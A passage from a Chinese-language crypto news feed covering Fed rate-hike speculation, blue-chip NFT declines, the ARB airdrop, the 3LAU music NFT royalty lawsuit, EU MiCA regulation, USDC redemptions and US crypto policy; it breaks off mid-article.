如果加息25个基点，考虑到近期风险资产价格已纳入这种可能，理应没有太大波动。且后期加息次数有限，停止加息临近，市场会持续乐观，风险资产价格将稳步上升。对于投资者，稳健持有，遇回调可加仓。如果停止加息，风险资产将大幅上涨，btc有望突破3w至3.5w左右，以太坊将破2k至2.5k。作为投资者可继续持有btc、eth等共识强的币种，也可埋伏进潜力赛道，如新的基础设施、游戏等。 结论： 此轮议息对美联储是很大的挑战。它需要平衡多个因素，包括但不限于通胀、就业、经济增长、金融稳定等。加息可能会抑制通胀，但也可能导致就业和经济增长的下降，进而影响金融稳定。此外，加息也会对货币市场、股票市场、债券市场等产生影响，需要考虑市场反应的不确定性。因此，制定加息政策需要考虑多个因素之间的相互影响和平衡，需要对宏观经济和金融市场有较深入的了解和分析。加息决策的难度还在于，经济和金融市场的变化是不可预测的，因此，制定加息政策需要及时调整和灵活应对。让我们拭目以待美联储如何化解难题。  ( 4 min )
    DEX聚合器1inch发起创立NFT交易聚合器的提案投票
    PANews 3月22日消息，据Snapshot投票页面，DEX聚合器1inch发起创立NFT交易聚合器的提案投票。目前该提案的支持率为80.53%，投票将于3月26日结束。 提案指出，为保持1inch在DeFi聚合领域的竞争力，需要创立一个新的NFT交易聚合器协议。该聚合器旨在为交易NFT提供一个综合平台，费用将与其他竞争对手保持一致甚至更低。全栈Web 3解决方案工作室Solidity.io将为此聚合器提供技术支持。  ( 4 min )
    综观蓝筹项目表现，这些NFT正面临洗牌危机
    当下，蓝筹NFT之间正悄然出现分化。即便曾一度引发Gas War，但不少头部NFT项目却因未能形成长期品牌叙事和社区赋能的增长飞轮，而使其价值难以支撑，持续下跌的价格和交易量也体现了这点。 尽管NFT市场在高速发展后迎来了集体降温，但仍是加密领域最为出圈且重要的构成组件之一。在NFT产品类型日渐丰富的过程中，也被依据市场人气和潜力划分出不同等级。其中，部分NFT凭借强大的社区共识和运营手段成为蓝筹项目，占据着绝大部分的市场份额。 NFTGO数据显示，截至3月21日，近一年来NFT总市值（仅以太坊）从最高超332.5亿美元跌至目前的221.7亿美元，跌幅达33.3%；月交易额则从最高约35.3亿美元跌至10.1亿美元，下降了超71.3%。NFT的总持有者数已攀升至超428万，但近期增长步伐明显放缓，虽然近一年的增速为113.3%，但自今年以来仅增长了1.9%。与此同时，月交易者数量也出现了不小幅度的回落，从过去一年最高的超41.4万下滑至18.6万，跌幅约55%。同时，从买卖家的数量变化看，近一年买家数量呈小幅下降的趋势，而卖家数量则大幅上涨，这意味着市场的购买力出现显著下降，投资者们更愿意出售手中的NFT资产。 而整体NFT市场的低迷除了与加密市场走熊有一定关系外，蓝筹项目的市场活动放缓和资金出逃也是主要原因之一。 根据NFTGO数据显示，近一年蓝筹项目指数已下降了超54.7%。与此同时，根据统计的销售额排名前十的蓝筹项目数据来看，这部分NFT市值占整体市场的33.8%，近一年来，但它们的均价平均却下滑了46.9%，交易量则下跌超13.3%。其中，Art Blocks、ClONE X、Moonbirds和Doodles的平均售价跌幅均超过70%。 从蓝筹持有人数量来看，大部分NFT的变化不大，仅Bored Ape Yacht Club、Mutant Ape Yacht Club、Azuki和CLONE X的跌幅较多。不过，这些蓝筹项目的大部分Hodler均为“钻石手”，平均持有三个月以上的用户占比高达75.1%。 作为NFT市场的中流砥柱， 蓝筹NFT被视为可以产生稳定回报的长期投资，但当前并不乐观的市场表现下Hodler是否还会继续长久持有？从近期种种迹象来看，现阶段已有不少蓝筹NFT的商业模式和运营策略正引发社区成员的不满。 从最初的思潮实验到颠覆商业模式，指数级增长的市值证明了外界对NFT价值捕获的认可。但近期市值规模的缩水也说明了市场对NFT的创新玩法提出了更高要求。 尽管蓝筹NFT项目已占据不小的优势，但差距已然拉开，比如Yuga Labs打造了IP帝国并赋予持有者完全的IP商业使用权利，其多个项目系列在蓝筹NFT板块占据着多个席位，而Moonbirds、Doodles和CLONEX等NFT在短暂成功后经营和商业模式正饱受持有者质疑。 比如，Moonbirds在打出多个系列NFT项目、开放版权等玩法后仍难复往日辉煌，毫无新意的玩法更是引发社区质疑；而Doodles并未完全把IP权利直接赋予个人，且通过商品销售获得的收入限制在10万美元等Web2式的行为本就引发了其不够Web3化的质疑，而近期宣布在Flow区块链上开展Doodles 2计划后更是引发投资者不满，并其创始人Jordan Castro宣布Doodles将从一个“NFT 项目”发展成一家“领先的媒体特许经营公司”后还被社区成员炮轰其无视持有者权益，一度引发了抛售潮；知名运动品牌Nike旗下的NFT潮流品牌RTFKT Studios与艺术家村上隆合作的CloneX则因为该品牌给NFT持有者空投折价卷、非美地区无法兑换实体鞋等多个骚操作而遭到砸盘抛售。 社区的文化与价值决定着项目生命力，而社区文化影响项目成败的例子比比皆是，对于NFT项目而言，长期的不作为终究会被市场淘汰，毕竟鲜少有人能在多变的市场中一直拿着稳赢剧本。比如Blur凭借流动性攻击打破交易市场格局就是个很好的例子。当前，NFT应用场景正在不断被拓宽，无论是比特币NFT、AI生成式NFT项目等新叙事，还是NFTFI、动态NFT等新玩法都在加快蚕食市场份额的步伐，NFT市场正面临洗牌潮。 总之，NFT之所以区别于小图片，关键在于背后的价值，而社区成员在捕获价值的同时也会为项目本身价值提供支撑。对于这些蓝筹项目而言，如果不能寻找新的商业或发展模式来完成差异化转型，将项目价值回馈给社区，那么被替代只是时间问题。  ( 4 min )
    Race Capital第二支基金Fund II获1.81亿美元超额认购
    PANews 3月22日消息，据彭博社报道，Race Capital第二支基金Fund II获得1.81亿美元超额认购。据悉，该基金已经进行了10项投资，投资组合包括机器学习开发平台Sematic和数字钱包Ottr Finance。 Race Capital普通合伙人Alfred Chuang表示，该公司比以往任何时候都对去中心化技术更感兴趣，尤其是在Race Capital投资的加密货币交易所FTX倒闭之后。 据数据平台Rootdata统计，Race Capital此前投资项目包括DeFi项目Huma Finance、全球支付平台Ping、Web3通信基础设施Notifi、加密钱包Martian、Solana钱包Ottr Finance、网络数据分析平台Umami等。  ( 4 min )
    数据：权志龙发行的NFT系列目前已铸造1378枚，仅占本次公开铸造总量的10.2%
    PANews 3月22日消息，OpenSea数据显示，韩国歌手权志龙发行的NFT系列“Archive of PEACEMINUSONE”自今日11时开启公开铸造以来，仅铸造了1378枚，占此次公开铸造总量13,444枚的10.2%。 据此前昨日消息，该NFT系列还将在4月22日和4月29日分别公开铸造1888枚及654枚，三次公开铸造的NFT在价格、稀缺性和优势方面各不相同。  ( 4 min )
    如何在火必汇集ARB空投?
    导语 Layer 2 项目 Arbitrum 将于 3 月 23 日向其社区成员空投代码为 ARB 的治理代币。空投将占代币总供应量的12.75%，代币将分发给在过去一年中使用过该网络的人。ARB的总发行量为100亿枚，空投会将总供应量的11.5% 分配给过去1年使用过Arbitrum的用户，快照已于 2 月 6 日完成。 此前 Hop 和 Optimism 官方公布空投消息后经过筛选、检测、社区上报等手段，识别出了女巫攻击，并取消一大批用户的空投资格，甚至 Hop 还实行了举报有奖制度。即将空投的Arbitrum也将采用此规则。 您如果从多个Arbitrum地址向同一Huobi账户提取空投奖励，则相应空投奖励可能被识别为女巫地址，且您的空投可能会被取消。 Huobi支持用户创建100个子账户（每个子账户支持20个Arbitrum账户交互），来汇集其空投奖励。该方案为业内最领先的解决方案之一。 1. 登录火必App后，选择【资产】 2. 选择【充币】。 3.在页面内选择【ARB】进入相应充值地址。 4.在页面内选择【ARB】进入相应充值地址。您可以点击【更多充币地址】并增加相应提币地址。 5.点击【添加地址】即可完成。 如何从链上向火必汇集ARB（大于20个链上地址） 1. 登录火必Web端，并进入此网页。 2.创建子账号登陆名。 3.点击【检查是否可用】。 4.完成【安全验证】后点击【确定】。 5.子账号已经完成设立，您可以正常使用子账号。 6.点击【划转】即可实现主账号现货账户与子账号现货账户的自由划转。  ( 4 min )
    Binance Launchpad项目Space ID已开启认购，并将于20时上架交易
    PANews 3月22日消息，据官方公告，Binance Launchpad已于14时开启Space ID项目认购通道，本次Launchpad采用投入模式，基于用户5日BNB日平均持仓进行投入。 本次投入期为3小时。投入结束后，Binance创新区将于3月22日20:00上市Space ID（ID），并开通ID/BTC、ID/USDT、ID/BNB交易市场。  ( 4 min )
    数据：Voyager过去10天共转出9968.76万美元的代币，并提回1.68亿美元的USDC
    PANews 3月22日消息，据推特用户余烬监测，过去十天（3月12日至3月22日），Voyager向各交易平台共转出价值约9968.76万美元的加密货币，并提回了价值约1.68亿美元的USDC。 目前Voyager地址代币总价值8.82亿美元，其中稳定币占6.97亿美元，目前仅剩1.85亿美元为非稳定币资产。  ( 4 min )
    Arca已清仓DPX和RDNT等Arbitrum生态代币，仍持有GMX和SYN
    PANews 3月22日消息，据Spot On Chain监测，数字资管公司Arca或因Arbitrum原生代币ARB即将上线，已售出大部分Arbitrum生态代币：10小时前将160万枚RDNT兑换为71.2万枚USDT；4小时前将31.2万枚SYN兑换为165.6枚ETH（约合26.7万美元）。 目前，Arca已清仓所有DPX和RDNT，并在两个钱包中仍然持有2万枚处于质押状态的GMX (约合160万美元) 和54.9万枚SYN (约合51万美元)。  ( 4 min )
    ENS基金会董事宣布辞职，新董事提名窗口将于4月10日开放
    PANews 3月22日消息，据官方治理论坛，ENS基金会董事Brantly Millegan宣布将辞去董事一职，辞职将在任命新董事后生效。 ENS DAO可根据章程第15条任命新的ENS基金会董事，新董事将在提名程序和选举后任命，ENS基金会将于4月10日17:00开放提名窗口，并于4月30日17:00关闭。5月1日至5日进行选举，选举结果公布后，将向ENS基金会发出任命新董事的通知。  ( 4 min )
    致力于实现 Web3 音乐版税透明的 3LAU，因其音乐 NFT 版税分配不均被起诉了？
    前言 为了纪念 Ultraviolet 音乐专辑首发三周年，2021 年 3 月 1 日，著名 DJ 和制作人 3LAU（Justin Blau）与 OriginProtocol 合作发行了限量版音乐专辑 NFT“UltravioletVinylNFTCollection”，拍卖总成交价超 1170 万美元。这是全球首张音乐专辑 NFT，3LAU也是首个将音乐 NFT 玩得这么出圈的音乐人。 (from https://www.billboard.com/pro/3LAU-nft-ultraviolet-auction-songwriter-sues-share-profits/) 此后，3LAU推出了音乐 NFT 版税市场 Royal，旨在真正推动音乐人在 Web3 创造财富，增加版税使用透明度、减少中间成本，同时进一步使音乐产业民主化。但是在实现这个远大梦想的过程中，3LAU遭到了来自自身的阻力。2022 年 11 月 9 日，Luna Aura（Angela Anne Flores）起诉了 3LAU，声称她拥有专辑 Ultraviolet 中歌曲“Walk Away”50% 的版权，但 3LAU手握巨大的 NFT 发售收入，仅仅打算向她支付 25,000 美元的一次性版税费用。 本文将先探究3LAU的音乐专辑 NFT 包含了什么，再来看 Luna Aura v. 3LAU这一案件的诉求，然后来讨论 3LAU是不是应该以身作则支付 Luna Aura 相应版税，以真正推动音乐人在 Web3 创造财富，增加版税使用透明度、减少中间成本，同时进一步使音乐产业民主化。 （from https://nft.3LAU.com） 3LAU于 2021 年推出了Ultraviolet 音乐专辑 NFT 的售卖，每份专辑包含了 11 首收录的歌曲 NFT。本次售卖是以拍卖的形式进行，除了 NFT 的售卖之外，3LAU还为买家赋予了独一无二的权益（Utility）。出价最高者 No.1 获得 3LAU为其定制歌曲的权益，专辑 NFT（包含 11 首歌），以及独家定制黑胶。No.2-No.6，获得专辑中两首舞曲 MIX 的权益，专辑 NFT（包含 7 首歌），定制黑胶。No.7-No.33，获得专辑 NFT（包含 3 首歌），定制黑胶。所有参与竞拍者，都将获得这张专辑的版税收益 NFT（Ultraviolet Loyalty），版税大小根据竞拍价格而定。 （from https://nft.3LAU.com） 根据排名显示，排名第一的是名为“BIDDER65”的买家，其竞拍价格为 366.6 万美元；知名 NFT 巨鲸 WhaleShark 则以 355.5 万美元紧随其后。3LAU通过本次音乐专辑 NFT 的售卖获得了约 1170 万美元的收入。3LAU在接受福布斯采访时说：“我们都在欢呼，然后大家就不说话了。相信我，我不知道会有这么高的收益。这恰恰说明，当新的音乐艺术作品亮相时，预测会发生什么是多么困难”。 一顿猛如虎的操作之后，我们从《Terms》看 3LAUUltraviolet 音乐专辑 NFT 到底包含了什么权益。 （from https://nft.3LAU.com/#/terms） 首先，该 NFT 是以 ART 的形式呈现，《Terms》对于 ART 的定义是：“ART 是指可能与您拥有的 NFT 相关的任何艺术、设计和绘图。”然后再来看《Terms》中的 LICENSE（授权许可）条款：通过拍卖获得 Ultraviolet 音乐专辑 NFT 的买家，被 BLUME LLC（Ultraviolet 音乐专辑 NFT 对应作品的版权方）授予了全球范围内的、非排他性的、不可转让的、免版税的授权许可，允许买家仅出于以下目的使用、复制和展示购买的 NFT 和任何包含商品的 ART 艺术作品：（1）只能自用，不得商用；（2）可将 NFT 在二级市场转售；（3）个人的展示。我们再来看 Opensea 上的 Walk Away 音乐 NFT，通过 Etherscan 确实看到 image 图片 + audio 音频的元文件。 （from Opensea, Etherscan） 那么买家手中的 3LAU音乐 NFT，确实包含了专辑中的对应的录音作品以及封面图片，对于录音作品，3LAU没有做任何授权，对于封面图片作品，仅仅通过上述《Terms》条款授予个人使用的权利。在这之后3LAU通过声明的形式赋予买家一些权益。 综上可以看出，Ultraviolet 音乐专辑 NFT 虽然确实包含了音乐，但是本质上是一个收藏属性的音乐 NFT，而通过《Terms》授予许可的仅仅是 ART 封面图片的一些可有可无的权益，不值一提。 2022 年 11 月 9 日，Luna Aura（Angela Anne Flores）起诉了 3LAU，声称她拥有专辑 Ultraviolet 中录音作品“Walk Away”50% 的版权，尽管 3LAU从拍卖中获得了巨额的 1170 万美元的收入，但 3LAU仅仅打算向她支付 25,000 美元的一次性版税费用。 3LAU的经理在给 Billboard 的一份声明中否认了这些指控：“这些指控毫无根据，我们将捍卫自身的权利。对于如何处理这类 NFT 项目没有固定的标准，它涉及的不仅仅是音乐。3LAU的团队几个月来一直试图真诚地与 Luna Aura 达成协议，但她停止回应，而是选择提起诉讼。” 目前案件法院还在审理过程中，从 Luna Aura 的诉状来看，Luna Aura 是一名歌手、创作者、制作人，2017 年 11 月 1 日，她与 3LAU签订了“Walk Away”录音作品的版权协议，并在之后创作了“Walk Away”这首录音作品。版权协议约定：（1）Luna Aura 有权获得该录音作品 50% 的版税；（2）Luna Aura 与 3LAU合作，并控制“Walk Away”30% 的词曲版权；（3）Luna Aura 将该录音作品的相关权利全部独占性地（sole and exclusive right）授权给了3LAU来行使。 之后 3LAU在 Luna Aura 未知情、未同意、未参与的情况下，私自发售了包含“Walk Away”录音作品的 Ultraviolet 音乐专辑 NFT，侵犯了 Luna Aura 与 3LAU公司关于录音作品版权的约定，由此 Luna Aura 寻求 3LAU对其违反协议的赔偿，要求 3LAU对其发售 NFT 的不当分配进行补偿，并要求对 Ultraviolet 音乐专辑 NFT 发售进行审计，以确定“Walk Away”录音作品的分配数额。 (from 3LAU WALK AWAY single) 在美国，有几种不同的音乐版税，这取决于使用的是词曲作品（Composition）还是录音作品（Sound Recording）。使用词曲作品可能需要缴纳表演版税（适用于现场表演和 AM/FM 广播等公开表演）、机械复制版税（适用于数字或物理复制品，包括通过 Spotify 和 YouTube 等数字音乐服务进行的复制）、影音同步版税（适用于电视、电影、社交媒体应用程序等的同步），或印刷版税（适用于乐谱形式的复制品）。使用录音作品可能需要缴纳表演版税（适用于数字或卫星广播，但不包括 AM/FM 广播）、复制版税（适用于物理或数字复制品的销售）或影音同步版税（适用于电视、电影的同步、社交媒体应用等）。值得注意的是，发行音乐NFT 的行为可能涉及多种类型的版税。 根据《美国版权法》的规定，“录音作品”(Sound Recording）是指由歌手对音乐词曲作品进行演唱表演并由唱片公司对词曲的演唱录制、固定在物理介质上（如唱片、磁带、数字格式文件等）的表现形式，理论上，制作唱片的唱片公司与演唱歌曲的歌手都是录音作品的权利人。 那么对于“Walk Away”录音作品，制作唱片的唱片公司 BLUME LLC和演唱歌曲的歌手 Luna Aura 都是录音作品的权利人。对于录音作品的权利人而言，发行 Walk Away 音乐 NFT 的行为属于对录音作品实施复制权（Reproductions）、公开表演权（Performance Royalties）的行为。 （from 美国版权法下的音乐版权结构详解） 这样分析下来，Luna Aura 的诉求确实有理有据，不知道后续 3LAU将如何应对。而如何在整个 Ultraviolet 音乐专辑 NFT 销售额中确定“Walk Away”录音作品的份额还需法院进一步明确。 对于音乐 NFT 的收入分配确实是一个棘手的问题，像 Hip-Hop，电音这类独立音乐制作人能够一条龙干完音乐创作没有什么问题，但是像集齐三大件的摇滚乐队，如何分配摇滚歌曲 NFT 的版权，确实需要提前约定。看到 @Reveel | r3 vl.xyz 分享的一个音乐 NFT 收入分配协议值得借鉴。 ——END—— 本文仅供学习、参考，希望对您有所帮助，不构成任何法律、投资意见，not your lawyer，DYOR。 REFERENCE: [1] 3LAUUltraviolet NFT https://nft.3LAU.com/#/auction [2] Luna Aura LLC v. 3LAUEntertainment LLC et al https://storage.courtlistener.com/recap/gov.uscourts.nysd.589250/gov.uscourts.nysd.589250.1.0.PDF [3] 美国版权法下的音乐版权结构详解 https://mp.weixin.qq.com/s/gQJ5cNVdLw8K1vQ4ZTIc0Q [4] Reveel | r3vl.xyz, Music NFT Split Agreement https://docs.google.com/forms/d/e/1FAIpQLSfOmBfxwP26erbQZQlLAfzVbzd4AR4_uKypIFDm3K0SQMn1WQ/viewform  ( 6 min )
    Circle 欧洲政策总监：MiCA法案将对欧洲加密行业产生重大影响
    原文：《MiCA's impact on the EU crypto industry and beyond》by PATRICK HANSEN，Circle 欧洲政策总监 编译：Carol 吴说区块链 对于欧盟（EU）的加密行业来说，《加密资产市场条例》（MiCA）代表了真正的游戏规则改变者。到目前为止，欧盟的加密公司如果想服务于整个欧盟市场，就必须敲开每个国家监管机构的大门。（相关阅读：《加密资产市场监管法 MiCA，能否让欧盟全面拥抱 Web3？》） 法国、德国和奥地利等一些国家已经制定了专门的加密许可制度，而爱尔兰等其他国家也设立了反洗钱登记义务。但除了上述的国家外，许多国家并没有为加密企业制定任何监管框架。因此，在27个不同规则的复杂国家监管体系中穿梭，成为一项非常昂贵且繁重的工作。毫无疑问，这限制了欧盟初创企业的发展，并限制了他们与美国和亚洲同行的竞争力。根据 MiCA，具有相同约束力的欧盟要求将其适用于所有27个成员国，一旦一家公司在一个国家获得 MiCA 许可证，它就可以获得相应的 "护照"，并在整个单一欧盟加密市场提供许可服务。 随着 MiCA 的生效，离岸的、不受监管的公司将无法再主动瞄准欧盟消费者。特别是由于 FTX 的崩溃，反向征集规则（即外国企业可以根据自己的主动行动吸引欧盟客户的规则），预计会比传统市场上的其他金融服务提供商更加严格。这可能会帮助受 MiCA 监管的加密企业从其离岸的、不受监管的竞争对手那里获得大量欧盟市场份额。 此外，MiCA 很可能会导致欧盟更多的机构采用加密货币和活动。据彭博社报道，欧洲只有4%的机构基金持有加密资产。监管的不确定性即使不是阻碍机构进入该领域的主要问题，但也是问题之一。预计欧洲主要银行将在未来48个月内推出加密资产服务，无论是托管、交易，还是发行俗称稳定币的电子货币代币或资产参考代币，MiCA 都将会提高受监管企业的竞争力和市场份额，以及所提供整体活动和服务的机构份额。 在全球不确定性的背景下建立清晰的监管制度，可以很好地吸引资本、人才和公司，特别是那些希望从世界其他地方发行代币的公司。而且加密行业很可能会成为欧盟经济和技术复兴的重大机会。 然而，MiCA 的成功很大程度上要归结于欧盟监管当局在未来12-18个月内制定的实施标准和执法实践。其中，MiCA 的一些规定有可能会给行业参与者带来负担，但只有在技术实施标准提供实际操作指南后，其效果才会全部显现。 最糟糕的情况是，只有少数欧盟加密初创公司设法承担持续熊市的实质性法律和合规成本，而稳定币发行商则会绕过欧盟。同时，交易所会面临繁琐的披露要求和责任，这对消费者没有任何好处，还会使其产品与海外同行相比丧失其竞争力。欧盟消费者要么被切断创新，要么继续使用（并接触到）最大的离岸流动性和效用池。 此外，监管机构可能会认为大多数 NFT 和 DeFi 项目实际上都属于 MiCA 的范围，并且需要遵守 MiCA 。目前 MiCA 的条款仍有待解释，而这将会不可避免地导致团队和资源迁出欧盟。 总之，MiCA 可能代表了对欧盟加密企业和整个欧盟经济的积极推动，但其成功在很大程度上取决于即将制定的实际执行标准。 MiCA 对加密货币的潜力就像《通用数据保护条例》（GDPR）对隐私的影响一样，几乎可以成为全球采用的监管标准，这一点是肯定存在的，但远未成定局。 不可否认的是，MiCA 将在其他司法管辖区，尤其是那些在金融监管方面没有太多经验的司法管辖区，需要考虑如何将自己的加密资产框架发挥到最大效用。仔细研究最近金融稳定委员会（FSB）对加密服务提供商和所谓的 "全球稳定币安排 "的建议，就会发现 MiCA 的许多概念已经进入了全球标准制定机构。 欧盟市场是世界上最大的单一内部市场，拥有4.5亿相对富裕的消费者。凭借其庞大的市场规模，MiCA 可能会说服世界各地的公司采用 MiCA 运营标准，而且可能会在国际范围内采用其标准，以维持全球精简的运营和产品。从农业、科技以及化工等多种行业都可以观察到欧盟监管标准对全球的影响，哥伦比亚大学教授 Anu Bradford 还将其称为 "布鲁塞尔效应"。 美国商品期货交易委员会（CFTC）现任专员 Caroline Pham 警告说，“由于美国在努力为国内加密行业提供清晰的监管制度，而像 MiCA 这样的全球监管框架正好可以填补这一空白，这并非是巧合。” 美国对加密资产的监管真空持续的时间越长，预计 MiCA 标准的全球影响就会越大。 然而，MiCA 只有在最终达到成功才是最重要的，而目前还有许多实际的实施工作仍摆在其面前。如果 MiCA 被证明对行业、消费者和监管机构都适用，它将产生全球性的影响。否则，许多司法管辖区将决定选择一个完全不同的政策路径。 由于行业参与者可以通过响应即将进行的实施标准磋商对 MiCA 的成功产生影响，因此，我鼓励所有加密项目和公司在未来12-18个月内与欧盟监管机构，主要是欧洲银行管理局、欧洲证券以及市场管理局密切接触。 到目前为止，MiCA 毫无疑问是我们在全球范围内看到的最全面的加密资产监管框架。多年来该行业一直在呼吁清晰的监管制度，不应错过为实现这一目标而作出贡献的机会。  ( 4 min )
    彭博社：Circle本月已销毁约122亿美元的USDC，但发行量约为销毁量一半
    PANews 3月22日消息，据彭博社报道，即使USDC稳定币发行商Circle收回了困在硅谷银行的存款，但客户仍继续以比购买它更快的速度赎回其发行的稳定币USDC。 根据研究人员CryptoCompare的数据，3月20日，用户赎回了7.386亿美元的USDC，而Circle在以太坊区块链上发行了不到900万美元的代币。数据显示，前一天，Circle在网络上发行了2.31亿美元，客户赎回了2330万美元。CryptoCompare发现，自3月初以来，Circle销毁了约122亿美元的USDC，而在以太坊上发行的金额约为其一半。根据CryptoCompare数据，自3月13日以来，投资者在以太坊上赎回了57.6亿美元的 USDC，而Circle已发行了约8.74亿美元的USDC。 USDC抛售也出现在去中心化金融应用程序上，Curve 3pool中稳定币占比继续倾斜，USDT占比仅为9%，这意味着Tether的需求量很大，而交易员正在退出其他稳定币。CryptoCompare分析师Jacob Joseph表示：“最近对银行合作伙伴关闭的担忧似乎已导致用户转向USDT和其他稳定币，而不是USDC。”  ( 4 min )
    错过Arbitrum基金会的ARB空投？没关系，生态项目DAO可能还有一轮
    原文：《Arbitrum公布空投细节，DAO竟成最大赢家？》 作者： 备受关注的 Arbitrum 在主网上线约 18 个月之久后终于要开始空投了。3 月 16 日，Arbitrum 宣布将于 3 月 23 日向其社区成员空投治理代币 ARB，Odaily星球日报在第一时间对Arbitrum 空投具体规则做出解读。目前查询链接已经公布。 根据 Arbitrum 基金会的描述，这一举措意味着 ARB 持有人将能够对管理 Arbitrum One 和 Arbitrum Nova 的关键决策进行投票，这同时标志了Arbitrum的去中心化。“Arbitrum DAO 将有权控制核心协议级别的关键决策，从链的技术如何升级到链的收入如何用于支持生态系统。” 对于市场而言，每次大规模空投都带来振奋的情绪，撸毛专业户缔造造富神话，普通参与者也至少来顿“猪脚饭”。 就在 21 日，Arbitrum进一步公布DAO空投细节，共137个DAO有资格获得空投。根据官方提供的数据，我们得到了一些有趣的发现：本轮空投，个人地址最高可得多少空投，不再那么吸睛（令人艳羡）；ARB对DAO的造富效应，尤为可观。最高者一次性获得800万枚ARB空投。 Arbitrum 与加密分析公司 Nansen 合作，针对空投的规则和具体列表做出了一些设计。根据最终的结果，共有137个DAO可获得空投，对DAO空投总量高达112,834,000枚。 从结果来看，两家最高等级的获赠者获得800万枚ARB，分别是TREASURE和GMX。 而与之相比，获得空投最低的DAO仅获得7.5万枚，不足头部项目的百分之一。 在空投数量的分布上，也可看出不同DAO获得的空投数量相差巨大。 不同梯队项目所获空投总量占比 137个DAO中，恰好一半的项目获得的空投数量均为最基础的7.5万枚。但他们总计获得的数量仅为472.5万枚，约占总量的4.2%。而TREASURE、GMX两个项目所获的空投合计1600万枚，约占总量的14%。 此次分配基于多个因素，每个因素又对应多个门槛。具体来说，主要因素包括：在网络上部署的日期，项目是否是多链或Arbitrum原生，每个协议完成的总交易数和平均交易数，每个交易的价值，每个协议维护总 TVL，以及项目是否将其本地流动性转移到生态系统中。考虑的其他因素包括保持成功的持续时间以及其对其他标准涨落的影响。 对于有资格参与此分配和没有资格参与此分配的项目，基金会将在不久的将来开始他们的拨款计划，并作为进一步分配代币的可用途径。 为何向DAO进行如此大规模的空投？Arbitrum 基金会认为，网络上的每个子社区都可以自行决定对Arbitrum社区做出贡献的最好途径，每个协议都最了解其自己的社区。他们认为基金会无法高效地接触到子社区，因此解决方案是直接将ARB交予社区，并由社区来决定分配ARB的具体方式。 换句话说，这些ARB将归属于获得空投的这些项目的社区金库。这也意味着，社区将通过治理的方式决定这些ARB空投的具体用途。 按照社区治理的去中心化精神，如此一笔“飞来横财”，一般会做何处理呢？以加密社区惯例，或许在经过复杂且漫长的治理流程之后，部分社区会选择把这笔巨额ARB向社区成员进行空投。 Arbitrum基金会表示，希望通过更广泛的分发ARB，让更广泛的Arbitrum生态参与者可以共享分配治理的权力，而不仅只是分配给那些有资格领取官方空投的用户。  ( 4 min )
    美国加密监管现状：没有法律，没有政策，没有清晰度
    来源：CASEY WAGNER 编译：比推BitpushNews Mary Liu 美国立法者对加密政策的看法各持己见。到目前为止，还没有任何法律获得通过。随着加密公司继续要求监管清晰，唯一真正清楚的是联邦机构和民选官员不在同一阵营中。 现在，加密从业人员质疑他们是否在真的努力推进立法。 国会、美联储、财政部、美股证券交易委员会（SEC）和商品期货交易委员会(CFTC).....都对加密有不同的看法, 即使是同一机构内的监管机构也采取了对立的立场。 中央银行和财政部正在质疑中央银行数字货币（CBDC）的作用，而SEC和美CFTC正在就以太坊代币进行地盘争夺战，国会尚未通过委员会中的任何一项加密法案。 在过去的 18 个月里，拜登总统发布行政命令，国会举行听证会，SEC 发布执法行动，加密公司起诉 SEC，美联储开始研究 CBDC，法案在众议院和参议院首次亮相。 但具体的政策无处可寻。 Clyde Group 公共事务高级副总裁兼财政部前高级发言人John Rizzo表示：“政府最高层需要就目前对加密货币的立场提出非常明确的指示。” Rizzo曾为国会参议员Chuck Schumer (D-NY) 和前参议员Bob Casey (D-PA) 工作。 怀俄明州共和党参议员Cynthia Lummis和纽约州民主党参议员Kirsten Gillibrand共同发起了《负责任的金融创新法案》（Responsible Financial Innovation Act），该法案于 2022 年 6 月首次提交参议院。由于中期选举和重视程度不足，该法案停滞不前。Lummis 本月早些时候表示，拟议法律的修订版将于 4 月中旬提交参议院，但将面临阻力。 Lummis 和 Gillibrand 需要争取委员会主席，最好是来自金融和银行业的主席对该法案的兴趣，因为他们“人微言轻”， Lummis 是参议院银行、住房和城市事务委员会的少数成员，该委员会由来自俄亥俄州的加密怀疑论者 Sherrod Brown 领导。 Brown 在委员会 2 月份关于 FTX 后果的听证会上说，加密投资工具是“由鲁莽的公司经营的投机产品，这是我们都知道的”。 Lummis 在 3 月份Milken研究所未来数字资产研讨会的小组讨论中承认：“当然，这需要银行委员会改变方法以重点推进”。 Gillibrand 是参议院军事委员会的高级成员，加密货币从来不是该委员会的重点关注领域。 Rizzo 认为，虽然 Lummis 和 Gillibrand 吹捧两党合作，但共和党和民主党在联邦层面的加密监管方面无疑存在分歧。 Rizzo 说：“该行业目前最大的问题是，它正在成为一个党派问题，共和党人对此感兴趣，而民主党人将其视为他们不喜欢的华尔街或某种金融业，一个充满危险的行业”。 他补充说，众议院金融服务委员会下属的新众议院数字资产、金融技术和包容性小组委员会可能有助于使加密成为立法者的优先事项，但两党的广泛支持还有很长的路要走。 SEC 主席 Gary Gensler 近年来将加密货币作为该机构的首要任务，但主要选择“执法监管”策略并没有为他在业内赢得很多朋友，许多人认为这种方法只会减缓进展。 SEC 已对 Ripple、Kraken、Nexo 和 BlockFi 等公司采取行动。Ripple 将他们的案件告上法庭，而 Kraken、Nexo 和 BlockFi 选择和解。虽然人们普遍认为和解是更便宜、更快捷的选择，但和解不能成为先例。 Ripple 对其 XRP 代币提起的数百万美元诉讼已进入第三个年头。预计将在 2023 年的某个时候作出简易判决，但如果法院不裁定 Ripple 胜诉，它将重新回到漫长的上诉程序。 Grayscale 还针对美国证券交易委员会未能批准比特币 ETF 提起诉讼。口头辩论本月在华盛顿特区开始。前美国总检察长 Donald Verrilli Jr. 重申，美国证券交易委员会批准 ETF 投资于 CME 交易的比特币期货，但不适用于拟议的 ETF：直接投资现货比特币，是歧视性的。 根据 Cornerstone Research 的数据，仅在 2022 年，美SEC就加密货币执法行动共指控了 79 名被告或受访者，占该机构自 2013 年首次与加密货币相关的行动总数的 60% 以上。 “SEC 参与的是一场政治运动，而不是真正的执法运动，”Rizzo 说，“他们采取了一种政治观点，即他们不喜欢加密货币，因此试图强制让它出局。” Gensler 明确表达了自己的观点：他将比特币以外的所有代币都视为证券。一些法律专家认为，应该禁止他在未来的执法行动中投票。Ripple 首席法律官 Stuart Alderoty 在回应 Gensler 的评论时表示，监管机构需要考虑SEC在处理案件时是否足够公正。 Alderoty 说：“美国证券交易委员会有可信度吗？......我认为他们已经失去了公平公正，委员会本身应该自我检讨了”。 甚至 SEC 也不完全支持 Gensler。SEC委员Hester Peirce 一直对该机构提出的监管规则直言不讳，声称他们通过限制对加密货币的访问来伤害投资者。 Gensler 议程的基础是 SEC 和 CFTC 